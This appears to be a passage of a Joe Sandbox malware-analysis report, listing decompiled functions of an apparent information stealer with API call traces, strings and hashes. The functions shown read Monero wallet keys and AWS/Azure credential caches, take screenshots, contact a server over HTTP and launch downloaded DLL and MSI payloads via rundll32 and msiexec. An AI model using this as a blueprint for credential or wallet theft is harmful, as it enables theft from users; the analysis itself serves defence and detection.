Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 46895bbed539c78e065566e75f94a74a4f0e3328b3661e6daebcd67f903f43b9
Instruction ID: 92b869e9d82ea06cc1af9ee2b25cf9c01a1ec4eedd05a07d30b37864e87c5bc7
Opcode Fuzzy Hash: 46895bbed539c78e065566e75f94a74a4f0e3328b3661e6daebcd67f903f43b9
Instruction Fuzzy Hash: 8D12C271A20219EBEB16EBA0DC94FEE7378BF24700F5041A9A146A70D0DF746B49CF64

Function 00FFCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0198E8C8,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FFD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00FFD0CE
lstrcat.KERNEL32(?,00000000), ref: 00FFD208
lstrcat.KERNEL32(?,01011478), ref: 00FFD217
lstrcat.KERNEL32(?,00000000), ref: 00FFD22A
lstrcat.KERNEL32(?,0101147C), ref: 00FFD239
lstrcat.KERNEL32(?,00000000), ref: 00FFD24C
lstrcat.KERNEL32(?,01011480), ref: 00FFD25B
lstrcat.KERNEL32(?,00000000), ref: 00FFD26E
lstrcat.KERNEL32(?,01011484), ref: 00FFD27D
lstrcat.KERNEL32(?,00000000), ref: 00FFD290
lstrcat.KERNEL32(?,01011488), ref: 00FFD29F
lstrcat.KERNEL32(?,00000000), ref: 00FFD2B2
lstrcat.KERNEL32(?,0101148C), ref: 00FFD2C1
lstrcat.KERNEL32(?,00000000), ref: 00FFD2D4
lstrcat.KERNEL32(?,01011490), ref: 00FFD2E3

Part of subcall function 0100A820: lstrlen.KERNEL32(00FF4F05,?,?,00FF4F05,01010DDE), ref: 0100A82B
Part of subcall function 0100A820: lstrcpy.KERNEL32(01010DDE,00000000), ref: 0100A885

lstrlen.KERNEL32(?), ref: 00FFD32A
lstrlen.KERNEL32(?), ref: 00FFD339

Part of subcall function 0100AA70: StrCmpCA.SHLWAPI(019889D0,00FFA7A7,?,00FFA7A7,019889D0), ref: 0100AA8F

DeleteFileA.KERNEL32(00000000), ref: 00FFD3B4

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 72dfe79bc355a23b3c0716fe251e473fce8a1546dffd47908a9883294e83cb48
Instruction ID: c58c47c8752fffa73e79b2c98eec991a78283446cce3667d9672ed306056bc09
Opcode Fuzzy Hash: 72dfe79bc355a23b3c0716fe251e473fce8a1546dffd47908a9883294e83cb48
Instruction Fuzzy Hash: 37E13471A10209EBDB15EBA0DD99EEE7378BF64200F104168E187A70D4DF35AF49DB61

Function 00FFC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0198D8D0,00000000,?,0101144C,00000000,?,?), ref: 00FFCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00FFCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00FFCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FFCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00FFCAD9
StrStrA.SHLWAPI(?,0198D9D8,01010B52), ref: 00FFCAF7
StrStrA.SHLWAPI(00000000,0198D918), ref: 00FFCB1E
StrStrA.SHLWAPI(?,0198E2B0,00000000,?,01011458,00000000,?,00000000,00000000,?,01988990,00000000,?,01011454,00000000,?), ref: 00FFCCA2
StrStrA.SHLWAPI(00000000,0198E110), ref: 00FFCCB9

Part of subcall function 00FFC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FFC871
Part of subcall function 00FFC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FFC87C

StrStrA.SHLWAPI(?,0198E110,00000000,?,0101145C,00000000,?,00000000,019888C0), ref: 00FFCD5A
StrStrA.SHLWAPI(00000000,01988C10), ref: 00FFCD71

Part of subcall function 00FFC820: lstrcat.KERNEL32(?,01010B46), ref: 00FFC943
Part of subcall function 00FFC820: lstrcat.KERNEL32(?,01010B47), ref: 00FFC957
Part of subcall function 00FFC820: lstrcat.KERNEL32(?,01010B4E), ref: 00FFC978

lstrlen.KERNEL32(00000000), ref: 00FFCE44
CloseHandle.KERNEL32(00000000), ref: 00FFCE9C

Strings

, xrefs: 00FFC9C6

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 7798a07158b4f54e7115a3ae1663fd9ed1c0fb290952aa6e21f723208502456d
Instruction ID: f8f84c774190d3a48ebe350d4d9e9e42f074e0b5fa5f101b310a06bc2f8e05fe
Opcode Fuzzy Hash: 7798a07158b4f54e7115a3ae1663fd9ed1c0fb290952aa6e21f723208502456d
Instruction Fuzzy Hash: 49E1D171A10209EBEB16EBA4DD94FEEB778AF64300F404169F146A71D4DF346B4ACB60

Function 01008320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

RegOpenKeyExA.ADVAPI32(00000000,0198BF18,00000000,00020019,00000000,010105B6), ref: 010083A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01008426
wsprintfA.USER32 ref: 01008459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0100847B
RegCloseKey.ADVAPI32(00000000), ref: 0100848C
RegCloseKey.ADVAPI32(00000000), ref: 01008499

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Strings

- , xrefs: 010085A3
?, xrefs: 0100837A
%s\%s, xrefs: 0100844D

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a9ae3a8adf07347f0c15d3db1889bc0b6b5f72c0b1ec097e402a26a049e3bbb4
Instruction ID: 815282f43472453ffd444c50c1a57fa5f1a177be22cbf322153ca7ac962fa2e8
Opcode Fuzzy Hash: a9ae3a8adf07347f0c15d3db1889bc0b6b5f72c0b1ec097e402a26a049e3bbb4
Instruction Fuzzy Hash: 91811D71910218DBEB65DB54DC94FEAB7B8BF58700F0082D9E18AA7180DF756B85CFA0

Function 01004D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 01004DB0
lstrcat.KERNEL32(?,\.azure\), ref: 01004DCD

Part of subcall function 01004910: wsprintfA.USER32 ref: 0100492C
Part of subcall function 01004910: FindFirstFileA.KERNEL32(?,?), ref: 01004943

lstrcat.KERNEL32(?,00000000), ref: 01004E3C
lstrcat.KERNEL32(?,\.aws\), ref: 01004E59

Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FDC), ref: 01004971
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FE0), ref: 01004987
Part of subcall function 01004910: FindNextFileA.KERNEL32(000000FF,?), ref: 01004B7D
Part of subcall function 01004910: FindClose.KERNEL32(000000FF), ref: 01004B92

lstrcat.KERNEL32(?,00000000), ref: 01004EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 01004EE5

Part of subcall function 01004910: wsprintfA.USER32 ref: 010049B0
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,010108D2), ref: 010049C5
Part of subcall function 01004910: wsprintfA.USER32 ref: 010049E2
Part of subcall function 01004910: PathMatchSpecA.SHLWAPI(?,?), ref: 01004A1E
Part of subcall function 01004910: lstrcat.KERNEL32(?,0198FAD8), ref: 01004A4A
Part of subcall function 01004910: lstrcat.KERNEL32(?,01010FF8), ref: 01004A5C
Part of subcall function 01004910: lstrcat.KERNEL32(?,?), ref: 01004A70
Part of subcall function 01004910: lstrcat.KERNEL32(?,01010FFC), ref: 01004A82
Part of subcall function 01004910: lstrcat.KERNEL32(?,?), ref: 01004A96
Part of subcall function 01004910: CopyFileA.KERNEL32(?,?,00000001), ref: 01004AAC
Part of subcall function 01004910: DeleteFileA.KERNEL32(?), ref: 01004B31

Strings

\.aws\, xrefs: 01004E4D
Azure\.azure, xrefs: 01004DD3
*.*, xrefs: 01004DD8
msal.cache, xrefs: 01004EF0
\.azure\, xrefs: 01004DC1
Azure\.aws, xrefs: 01004E5F
Azure\.IdentityService, xrefs: 01004EEB
*.*, xrefs: 01004E64
\.IdentityService\, xrefs: 01004ED9

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 4d5638f63ab47e2c6ec9469b03db9526254a8cf81cbd585ce7d9f8619a536af5
Instruction ID: ebed4795c81b3d32d9eb2c536b3c72fd5066f39e8d56970852b4513355bdde80
Opcode Fuzzy Hash: 4d5638f63ab47e2c6ec9469b03db9526254a8cf81cbd585ce7d9f8619a536af5
Instruction Fuzzy Hash: 8F41B97AE4020867D765F770EC46FED3338AB24700F40459872C5A60C5EEF597C88B91

Function 01009010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0100906C

Strings

image/jpeg, xrefs: 01009136

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 415050b95572761e585911cad13b38873a665f22e12842d6d37f4168eb8c7cc1
Instruction ID: 4af547a6366b76bba1c82add09a2cd7ffeda826f49bb353a23aca4416b09fbb3
Opcode Fuzzy Hash: 415050b95572761e585911cad13b38873a665f22e12842d6d37f4168eb8c7cc1
Instruction Fuzzy Hash: AD71DC75A10208EBDB14DFE4E889FEEB7B8BF48700F148518F656E7294DB35A905CB60

Function 01002E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

ShellExecuteEx.SHELL32(0000003C), ref: 010031C5
ShellExecuteEx.SHELL32(0000003C), ref: 0100335D
ShellExecuteEx.SHELL32(0000003C), ref: 010034EA

Strings

.dll, xrefs: 010031E5
C:\Windows\system32\msiexec.exe, xrefs: 010034BF
"" , xrefs: 0100309A
/passive, xrefs: 0100345B
/i ", xrefs: 010033E4
<, xrefs: 01003490
C:\Windows\system32\rundll32.exe, xrefs: 01003332
.msi, xrefs: 01003398

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 0ccd7d9b8c8b77fcdc1ded7926aa237540ec59925e134963ab2c733ee028801d
Instruction ID: aefb370510434206e461963b7635571ed3f053a3afd1fc263a5dde29c5e9d3e7
Opcode Fuzzy Hash: 0ccd7d9b8c8b77fcdc1ded7926aa237540ec59925e134963ab2c733ee028801d
Instruction Fuzzy Hash: F412FD71A10209DAEB16FBA0DD91FEEB778AF24300F404169E586671D4EF742B4ACF61

Function 010052C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF6280: InternetOpenA.WININET(01010DFE,00000001,00000000,00000000,00000000), ref: 00FF62E1
Part of subcall function 00FF6280: StrCmpCA.SHLWAPI(?,0198FB08), ref: 00FF6303
Part of subcall function 00FF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF6335
Part of subcall function 00FF6280: HttpOpenRequestA.WININET(00000000,GET,?,0198F400,00000000,00000000,00400100,00000000), ref: 00FF6385
Part of subcall function 00FF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FF63BF
Part of subcall function 00FF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FF63D1

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005318
lstrlen.KERNEL32(00000000), ref: 0100532F

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

StrStrA.SHLWAPI(00000000,00000000), ref: 01005364
lstrlen.KERNEL32(00000000), ref: 01005383
lstrlen.KERNEL32(00000000), ref: 010053AE

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

ERROR, xrefs: 0100530A
ERROR, xrefs: 010053B9
ERROR, xrefs: 0100546F
ERROR, xrefs: 010054A9
ERROR, xrefs: 01005432

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8d8aae5b0428202a6010bae2b8075232827a8eb91b6d587d047fdae9c1afd5c5
Instruction ID: ab15dc4d4060f8e36db6cea7259b9e6e2090f553181a2680b48e8a4994fbc0cb
Opcode Fuzzy Hash: 8d8aae5b0428202a6010bae2b8075232827a8eb91b6d587d047fdae9c1afd5c5
Instruction Fuzzy Hash: FF511B30A10249DBEB1AEF64DD95EED7778AF24301F508028E58B9B5D0DF346B0ACB61

Function 010012D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
